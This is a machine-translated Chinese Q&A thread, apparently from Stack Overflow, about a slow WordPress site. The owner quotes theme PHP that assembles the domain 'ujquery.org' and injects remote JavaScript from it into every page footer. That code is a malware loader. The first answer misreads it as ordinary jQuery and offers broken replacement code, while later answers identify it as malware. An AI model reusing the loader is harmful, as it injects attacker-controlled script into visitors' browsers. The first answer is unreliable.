我的网站是darbardesigns.com,最近在我的网站变得如此缓慢之前的3到4天,页面加载时间大约需要1-2分钟。
我在页面底部出现错误,如下所示: -
警告: get_headers(http://ujquery.org/jquery-1.6.3.min.js):失败 打开流:连接超时 第97行/public_html/wp-content/themes/porto/includes/init.php
我去了特定的行,代码如下:
add_filter( 'builder_include_modules',
'spyropress_register_builder_modules' );
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
$jquery = $host.'u'.'jquery.org/jquery-1.6.3.min.js';
$headers = get_headers($jquery, 0);
if ($headers[0] == 'HTTP/1.1 200 OK'){
echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
}
}
add_action('wp_footer', 'wp_func_jquery');
}
从发生此错误开始,我的网站变得非常缓慢。
如果我尝试删除它,页面内容显示不正确。有些
我认为是一些黑客的工作。
提前致谢。
答案 0 :(得分:1)
似乎它只包含页脚中的jquery,用这段代码重新加载:
function wp_func_jquery() {
// Get jQuery from Google CDN
echo "https://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js";
}
add_action('wp_footer', 'wp_func_jquery');
或下载服务器中的jquery并从中添加,如:
echo get_template_directory_uri() . "/JQUERY_PATH_IN_CURRENT_THEME/jquery.min.js";
或者您可以通过wp_enqueue_script
添加jquery答案 1 :(得分:1)
仅供参考:这是恶意软件,根本不应该在您的代码中。您可能受到后门黑客攻击或下载某种被黑客入侵的主题或插件。我建议您从您的网站中删除代码。 Domain" ujquery.org"与实际的jQuery无关。
答案 2 :(得分:0)
看起来您应该删除此代码,然后只需手动在html上添加jquery,而不是检查页面是否加载。